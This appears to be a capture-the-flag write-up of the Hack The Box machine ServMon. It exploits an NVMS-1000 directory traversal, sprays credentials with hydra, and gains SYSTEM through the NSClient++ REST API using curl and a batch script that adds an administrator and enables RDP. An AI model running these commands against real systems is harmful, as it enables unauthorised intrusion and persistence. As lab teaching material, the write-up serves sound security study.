

ServMon


OS: 뜩 Windows

Difficulty: Easy

Points: 20

Release: 11 Apr 2020

IP: 10.10.10.184



Summary

I'm happy to present you my (Imm0) writeup on the machine ServMon which my teammate dmwOng created. Throughout this writeup we'll see how just a little bit of additional information allows us to effectively abuse a directory traversal vulnerability in way too old software. Going forward, we'll use credentials obtained to look around the system to discover credentials for yet another application. Abusing an inherent flaw in the application design we'll obtain SYSTEM privileges and ultimately take over the box. After we finished the hassle we'll look at an alternative, easier, and more reliable route dmwOng told me about after I solved the box and for style points use RDP to log into the system.



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1 Recon

Since all we know about is the IP address we'll start with a nmap scan. I removed quite a bit so the scan fits on the page. If you are curious about the original output look in Appendix A.1. Anyway, we can see a few interesting ports here. Port 21 FTP, port 22 SSH, port 80 HTTP, port 135 MSRPC, port 139 and 445 with NetBIOS and SMB, and port 8443 HTTPS. The ports 49xxx relate to Microsoft's RPC which I might explain further in a future writeup when I learned about it myself. While I could connect to the remaining ports I did not investigate since they did not answer to rather random input and I already had enough on my todo list.

```
# nmap -A -p0- -v -oA tcp_full servmon.htb
1
   PORT
             STATE SERVICE
                                 VERSION
                                 Microsoft ftpd
    21/tcp
             open ftp
3
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    <DIR>
                                            Users
6
    | ftp-syst:
    | SYST: Windows_NT
                                 OpenSSH for_Windows_7.7 (protocol 2.0)
    22/tcp
             open ssh
             open http
    80/tcp
10
    135/tcp open msrpc
                                 Microsoft Windows RPC
    139/tcp
            open netbios-ssn
                                 Microsoft Windows netbios-ssn
11
             open microsoft-ds?
    445/tcp
12
    5040/tcp open unknown
    5666/tcp open tcpwrapped
14
    6063/tcp open tcpwrapped
15
    6699/tcp open napster?
16
    8443/tcp open ssl/https-alt
17
                                 Microsoft Windows RPC
    49664/tcp open msrpc
18
                                 Microsoft Windows RPC
    49665/tcp open msrpc
19
                                 Microsoft Windows RPC
    49666/tcp open
                   msrpc
20
    49667/tcp open
                   msrpc
                                 Microsoft Windows RPC
                                 Microsoft Windows RPC
22
    49668/tcp open
                   msrpc
    49669/tcp open msrpc
                                 Microsoft Windows RPC
23
    49670/tcp open msrpc
                                 Microsoft Windows RPC
24
```

Listing 1: Nmap scan results for all TCP ports with scripts enabled.



1.1 Investigating Port 21

The nmap scan already tells us something quite interesting, that is, the FTP server allows anonymous connections. As depicted in Figure 1.1 one simply enters the username anonymous and if the server allows anonymous access one can enter anything for the password.



Figure 1.1: Manually testing for anonymous FTP access.

If we now start exploring the content on the FTP server we'll find a folder named Users that contains the two folders Nadine and Nathan. Both folders contain a single text file each, namely Confidential.txt (cf. Listing 2) and Notes to do.txt (cf. Listing 3) respectively.



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```
Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you

→ have edited it yourself and place it back into the secure folder.

Regards

Nadine
```

Listing 2: Content of the Confidential.txt file in the folder Users\Nadine.

```
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
```

Listing 3: Content of the Notes to do.txt file in the folder Users\Nathan.

So Nadine is kind enough to tell us that Nathan has a file full of likely valid passwords on his Desktop. And Nathan gave us his todo list in which point three even suggests that the passwords file might still be on his Desktop. We definitively should take note of this. We should also note the hints at different technologies that might be used, in particular NVMS, NSClient, and Sharepoint. This might get useful later on. Now, since there aren't more files on the FTP server and I'm not yet desperate enough to look for exploits for a likely recent Microsoft FTP server it's time to look at another port.

1.2 Investigating Port 22

There is not much magic going on with the SSH server. We could launch some brute-force attack in the hopes of obtaining valid credentials but I'm no friend of brute-force attacks so we'll skip that for now. We should just keep in mind that there is a SSH server.



1.3 Investigating Port 80

When we browse port 80 we land on a website happily advising a NVMS-1000. Remember the todo list of Nathan, he mentioned the NVMS. Rather interesting to look at is the source of the website which is depicted in Listing 4.

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"</pre>
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html>
2
    <head>
3
             <meta http-equiv="X-UA-Compatible" content="IE=8" />
             <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
5
             <title>NVMS-1000</title>
6
             <!--common-->
             <link href="../Css/login.css?v=20150323.1" rel="stylesheet"</pre>

    type="text/css" />

             <script src="../Scripts/jquery-1.7.2.min.js?v=20150323.1"</pre>
9

→ type="text/javascript"></script>

             <script src="../Scripts/Third/jquery.cookie.js?v=20150323.1"</pre>
10

→ type="text/javascript"></script>

             <script src="../Scripts/Common/CommonFunctions.js?v=20150323.1"</pre>
11

→ type="text/javascript"></script>

             <script src="../Scripts/Third/jquery.watermark.min.js?v=20150323.1"</pre>
12

→ type="text/javascript"></script>

             <script src="../Scripts/Common/UnicodeAnsi.js"</pre>
13

→ type="text/javascript"></script>

             <script src="../Scripts/Common/Base64.js?v=20150323.1"</pre>
14

    type="text/javascript"></script>

             <script src="../Scripts/Common/Encryption.js?v=20150323.1"</pre>

→ type="text/javascript"></script>

             <script src="../Scripts/base.js?v=20150323.1"</pre>
16

→ type="text/javascript"></script>

             <!--common-->
17
             <script src="../Scripts/login.htm.js?v=20150323.1"</pre>
18
                type="text/javascript"></script>
    </head>
19
```

Listing 4: Excerpt of the HTML source of login.htm.

I took the liberty to only present the interesting part, namely the script includes in which the version string very much looks like a date, one in 2015. While this is not enough to be 100% certain we should at least check if there are some known vulnerabilities. A quick google search leads to CVE-2019-20085¹, a directory traversal in the path of the URL. That does sound very promising. A quick check with the path /../../../../../../../../../../../../windows/win.ini shows that

¹https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20085



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this works like a charm. So what should we read now? Well remember that Nathan should have a Passwords.txt on his Desktop? Let's go with this for now. So we request /../[...]/.../Users/Nathan/Desktop/Passwords.txt an e-voila we get a list of passwords (cf. Figure 1.2). So now that we have the passwords we should check what we can do with them (Chapter 2). Note that before diving a bit deeper into the app on this port I quickly checked for a low hanging fruit on port 445.




Figure 1.2: Path traversal to read Passwords.txt.



1.4 Investigating Port 445

I had a quick look at this in the beginning but since no unauthenticated (guest) access was allowed I ditched it. The command used to check this is displayed in Listing 5.

smbclient -L servmon.htb

Listing 5: Smbclient command to list (-L) shares that can be accessed unauthenticated.

1.5 Investigating Port 8443

Because I'd hate to miss a low hanging fruit I had a quick look at this port. I already saw in the nmap scan that this was a web server running NSClient++. Oh wait, this also appeared in Nathan's todo list. Well might be interesting. I googled a bit to figure out what it is and also checked for CVEs. I turns out this thing has a from 2018, CVE-2018-6384². But a local privilege escalation won't help yet. Surprisingly the google search also shows an exploit for a way newer version but this has no CVE assigned. I should stop looking for just CVEs. Well, the exploit³ floating around the internet is a authenticated remote code execution. Well, I'm not authenticated. Next please.

³⁵⁻Authenticated-Remote-Code-Execution.html



²https://nvd.nist.gov/vuln/detail/CVE-2018-6384

³https://packetstormsecurity.com/files/157306/NSClient-0.5.2.

2 Gaining Foothold

So we gained a list of passwords (Passwords.txt) and likely got two usernames, Nadine and Nathan. So the next step is to try these passwords in useful places. My tries with the NSClient++ on port 8443 failed. Neither could I log into the NVMS-1000 on port 80. So I still got the services FTP, SSH, and SMB left. Since I'm too lazy to try if these passwords all belong to Nathan or some might belong to Nadine - remember she created the file - I used hydra to try. Creating the file users with the two potential usernames and using the Passwords.txt I ran the three hydra commands in Listing 6.

```
hydra -L users -P Passwords.txt ftp://servmon.htb -o cracked_ftp
hydra -L users -P Passwords.txt ssh://servmon.htb -o cracked_ssh
hydra -L users -P Passwords.txt smb://servmon.htb -o cracked_smb
```

Listing 6: Hydra commands to test credentials on FTP, SSH, and SMB.

I didn't find valid credentials for the FTP and SMB. For FTP the credentials apparently really do not work but for SMB they actually do. But hydra still returned no results since it ran into an error accusing the server of responding with an invalid reply. So yes tools aren't all mighty, always have an alternative way to do something. Anyway, the attack for SSH was quite successful as we got the results shown in Listing 7 in our cracked_ssh file (the output is also shown on the command line).

```
# Hydra v9.0 run at 2020-06-19 19:10:46 on servmon.htb ssh (hydra -L users -P

Passwords.txt -o cracked ssh://servmon.htb)

[22][ssh] host: servmon.htb login: Nadine password: L1k3B1gBut7s@W0rk
```

Listing 7: Results of the hydra command for SSH.

Cool we got access to the system. Checking Nadine's desktop we quickly find the user.txt. Nice but what now?



3 Privilege Escalation

So we are on the system and got the user flag. Now we want to go further. I wanted to start with some basic enumeration and first checked the version of the Windows with the ver command (note that the SSH banner already shows it). It turns out we are on Microsoft Windows [Version 10.0.18363.752]. As this will not help much when looking at patches later I wanted to know the release id. The most feasible way I found to determine it is asking the registry with the command in Listing 8. It turns out the release id is 1909.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v ReleaseId

Listing 8: Getting the release id from the registry.

So now that we know that Windows version we can start looking for patches. A missing security patch might be an easy way to elevate our privileges. But neither systeminfo, Get-HotFix, or wmic allowed me to obtain the list of installed security patches. I simply did not have enough permissions. So I look around if Nadine has any interesting files/directories lying around - nope. Checking for anything interesting in C:\ and Program Files reveals the NSClient++ folder.

3.1 Exploiting the Web Application on Port 8443

I remember this, it appears to be related to the web app on port 8443. Additionally, I already discovered two exploits, one which promises me local privilege escalation to NT AUTHORITY/SYSTEM. Sadly the exploit to get system, which relies on an unquoted service path, requires permissions to write arbitrary files to C:\. As a normal user I can't do that and to be honest if I'm already an admin it's easy to get SYSTEM so the exploit has no real use to me. But the second exploit is rather interesting. It shows that there should be a config file which contains the admin password. A quick check reveals the admin password and the fact the the web interface does not allow authentication unless the source IP is 127.0.0.1 (cf. Listing 10).



```
i ; Undocumented key
password = ew2x6SsGTxjRwXOT

i ; Undocumented key
allowed hosts = 127.0.0.1
```

Listing 9: Excerpt of nsclient.ini.

But how can one access the web interface with the source IP of 127.0.0.1. Well one might think to use some socks proxy module, for example the one from metasploit. But this is completely unnecessary since we've got SSH access. We can use that for port forwarding. The command in Listing ?? states that we want to forward the local port (-L) 8443 through the SSH connection to port 8443 on the host 127.0.0.1. So whatever I send to port 8443 on my local machine is forwarded to the SSH server on ServMon which in turn forwards it to 127.0.0.1. Since I do not want to spawn a shell I added the $\neg N$ parameter.

```
ssh -N -L 8443:127.0.0.1:8443 Nadine@servmon.htb
```

Listing 10: SSH command to forward port 8443 on my local machine to 127.0.0.1:8443 on the remote machine.

Ok so let's get started. Once I browse to port 8443 on my local machine I can use the admin password to authenticate to the web app and start using the exploit. The exploit itself involves four steps on the target system.

- 1. Create a script with the command to execute
- 2. Save the configuration
- 3. Restart the web server via the control panel
- 4. Execute the script

I struggled a lot since I was not alone on the machine and if someone created a key too malformed it ended up killing the web server upon restart which then required a reset of the machine. This path ended up being a pain in the ass which is why I'm happy to present you the second path dmwOng told me about afterwards. All of this works because the web server executes any script/command as NT AUTHORITY/SYSTEM.



3.2 Abusing the API rather than the GUI

The NSClient++ also has a nice REST API which one can query. The "exploit" consists of first two commands as shown in Listing 11. To avoid spoiling anyone else I directly delete the uploaded script. In case you wonder how one would figure this out, it's in the documentation¹².

```
curl -s -k -u admin -X PUT

→ https://localhost:8443/api/v1/scripts/ext/scripts/pwn.bat --data-binary

→ @pwn.bat

curl -k -i -u admin https://localhost:8443/api/v1/queries/pwn/commands/execute

curl -s -k -u admin -X DELETE

→ https://localhost:8443/api/v1/scripts/ext/scripts/pwn.bat
```

Listing 11: CURL commands to exploit the API.

The pwn.bat script is shown in Listing 12 and simply creates a new local administrator, allows access to the root.txt file, and enables RDP.

```
Qecho off

net user immo ommi /add

net localgroup administrators immo /add

cacls "C:\Users\Administrator\Desktop\root.txt" /e /g immo:F

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

→ fDenyTSConnections /t REG_DWORD /d 0 /f
```

Listing 12: BATCH file to create new administrator, change permissions on root.txt, and enable RDP.

Enabling RDP has been for style points only since we simply could use SSH. But it just looks nice (cf. Figure 3.1).

²https://docs.nsclient.org/api/rest/queries/#command-execute



https://docs.nsclient.org/api/rest/scripts/#add-script




Figure 3.1: RDP access to the server using xfreerdp.



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A Appendix

A.1 Full nmap scan results

```
# Nmap 7.80 scan initiated Fri Jun 19 16:58:10 2020 as: nmap -A -p0- -v -oA

    tcp_full servmon.htb

    Nmap scan report for servmon.htb (10.10.10.184)
    Host is up (0.033s latency).
    Not shown: 65518 closed ports
    PORT
              STATE SERVICE
                                   VERSION
    21/tcp
              open ftp
                                   Microsoft ftpd
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    <DIR>
    | ftp-syst:
    | SYST: Windows_NT
10
    22/tcp
                                   OpenSSH for_Windows_7.7 (protocol 2.0)
             open ssh
    | ssh-hostkey:
12
        2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
13
        256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
14
    __ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
15
16
    80/tcp
              open http
    | fingerprint-strings:
17
        GetRequest, HTTPOptions, RTSPRequest:
          HTTP/1.1 200 OK
19
          Content-type: text/html
20
          Content-Length: 340
21
22
          Connection: close
          AuthInfo:
23
          <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"</pre>
24
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
          <html xmlns="http://www.w3.org/1999/xhtml">
26
          <head>
          <title></title>
27
          <script type="text/javascript">
28
          window.location.href = "Pages/login.htm";
          </script>
30
          </head>
31
          <body>
32
          </body>
33
          </html>
34
        NULL:
35
          HTTP/1.1 408 Request Timeout
```



```
Content-type: text/html
37
          Content-Length: 0
38
          Connection: close
39
          AuthInfo:
40
    | http-favicon: Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F
41
    | http-methods:
42
        Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Site doesn't have a title (text/html).
44
    135/tcp
             open msrpc
                                 Microsoft Windows RPC
45
             open netbios-ssn Microsoft Windows netbios-ssn
    139/tcp
46
            open microsoft-ds?
    445/tcp
47
    5040/tcp open unknown
48
    5666/tcp open tcpwrapped
49
    6063/tcp open tcpwrapped
50
    6699/tcp open napster?
51
    8443/tcp open ssl/https-alt
52
    | fingerprint-strings:
53
54
        FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
          HTTP/1.1 404
55
          Content-Length: 18
56
          Document not found
57
        GetRequest:
58
59
          HTTP/1.1 302
          Content-Length: 0
60
          Location: /index.html
61
    | http-methods:
    | Supported Methods: GET
63
    | http-title: NSClient++
64
    |_Requested resource was /index.html
65
    | ssl-cert: Subject: commonName=localhost
66
    | Issuer: commonName=localhost
    | Public Key type: rsa
68
    | Public Key bits: 2048
69
    | Signature Algorithm: sha1WithRSAEncryption
    | Not valid before: 2020-01-14T13:24:20
71
    | Not valid after: 2021-01-13T13:24:20
72
    | MD5: 1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
73
    |_SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
    |_ssl-date: TLS randomness does not represent time
75
    49664/tcp open msrpc
                                 Microsoft Windows RPC
76
                                 Microsoft Windows RPC
    49665/tcp open msrpc
77
    49666/tcp open msrpc
                                 Microsoft Windows RPC
78
    49667/tcp open msrpc
                                 Microsoft Windows RPC
79
    49668/tcp open msrpc
                                 Microsoft Windows RPC
80
    49669/tcp open msrpc
                                 Microsoft Windows RPC
81
    49670/tcp open msrpc
                                 Microsoft Windows RPC
82
    2 services unrecognized despite returning data. If you know the service/version,
83
    \,\,\,\hookrightarrow\,\, please submit the following fingerprints at
    → https://nmap.org/cgi-bin/submit.cgi?new-service :
84
    SF-Port80-TCP:V=7.80%I=7%D=6/19%Time=5EECD2D4%P=x86_64-pc-linux-gnu%r(NULL
85
   SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
```



```
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
  87
            SF:\n") \%r (GetRequest, 1B4, "HTTP/1\.1\x20200\x200K\r\nContent-type:\x20tex) = (GetRequest, 1B4, "HTTP/1\.1\x202000\x200K\r\nContent-type:\x20tex) = (GetRequest, 1B4, "HTTP/1\.1\x200200\x200K\r\nContent-type:\x20tex) = (GetRequest, 1B4, "HTTP/1\.1\x20tex) = (GetRequest, 1B4, "HTTP/1\.1\x20tex) = (GetRequest, 1B4, "HTTP/1\.1\x20tex) = (GetRequest, 1B4, "HTTP/1\.1\x20tex) 
 88
            SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
  89
            SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
  90
            SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
  91
            SF: TD/xhtml1-transitional \. dtd \" \' \ html \x20xmlns = \" http://www \. w3 \.
  92
  93
            94
            SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
  95
            96
            SF: %r(HTTPOptions, 1B4, "HTTP/1\.1\x20200\x200K\r\nContent-type:\x20text/htm
  97
            SF:1\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
  98
            SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
  99
            SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
100
            SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
101
            SF:999/xhtml">\r\n<head>\r\n\x20\x20\x20\title></title>\r\n\x20\x20\x
102
            103
            SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
            SF: \x20\x20</script>\r\n</head>\r\n</body>\r\n</html>\r\n") %r (RT) for the property of the
105
            SF:SPRequest,1B4,"HTTP/1\.1\x20200\x200K\r\nContent-type:\x20text/html\r\n
106
            SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
107
            SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
108
            SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
109
            SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
110
            111
            SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
112
            SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
113
            SF:x20</script>\r\n</head>\r\n</body>\r\n</html>\r\n");
114
             =========NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=========
115
             SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=6/19%Time=5EECD2DC%P=x86_64-pc-linux-gn
            SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
117
            118
            119
            SF:s,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\
            SF:x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\
121
            SF: x2018 \\ r\\ n\\ r\\ nDocument\\ x20not\\ x20found")\\ \%r\\ (RTSPRequest, 36, "HTTP/1\\ 1\\ 1\\ x20not\\ x20found")
122
            SF:404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(SIPOpt
123
            SF: ions, 36, "HTTP/1\.1\x20404\r\nContent-Length: \x2018\r\n\r\nDocument\x20n \\
            SF:ot\x20found");
125
            No exact OS matches for host (If you know what OS is running on it, see
126
             → https://nmap.org/submit/ ).
            TCP/IP fingerprint:
127
             OS:SCAN(V=7.80%E=4%D=6/19%OT=21%CT=1%CU=43491%PV=Y%DS=2%DC=T%G=Y%TM=5EECD39
128
            OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=
129
            OS:U)OPS(01=M54DNW8NNS%02=M54DNW8NNS%03=M54DNW8%04=M54DNW8NNS%05=M54DNW8NNS
130
            OS: %06=M54DNNS) WIN (W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70) ECN (R=Y%
131
             OS:DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+%F=AS%RD=
132
             OS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%0=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S
133
             OS:=Z%A=O%F=AR%O=%RD=O%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=O%Q=)T5(R=
            OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=
135
            0S: R\%0 = \%RD = 0\%Q = )T7(R = Y\%DF = Y\%T = 80\%W = 0\%S = Z\%A = S + \%F = AR\%O = \%RD = 0\%Q = )U1(R = Y\%DF = N\%T = N\%T) + (N + N\%T)U1(R = Y\%DF = N\%T)U2(R = Y\%DF = N\%T)U3(R = Y\%
136
            OS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=
137
```



```
OS:Z)
138
139
     Network Distance: 2 hops
140
     TCP Sequence Prediction: Difficulty=260 (Good luck!)
141
     IP ID Sequence Generation: Incremental
142
     Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
143
144
     Host script results:
145
     |_clock-skew: 3m20s
146
     | smb2-security-mode:
147
         2.02:
148
     Message signing enabled but not required
149
     | smb2-time:
150
         date: 2020-06-19T15:05:39
151
     | start_date: N/A
152
153
     TRACEROUTE (using port 23/tcp)
154
155
     HOP RTT
                   ADDRESS
         29.42 ms 10.10.14.1
156
         29.77 ms servmon.htb (10.10.10.184)
157
158
     Read data files from: /usr/bin/../share/nmap
159
     OS and Service detection performed. Please report any incorrect results at
160
     \rightarrow https://nmap.org/submit/ .
     \# Nmap done at Fri Jun 19 17:02:46 2020 -- 1 IP address (1 host up) scanned in
161
     \hookrightarrow 276.13 seconds
```

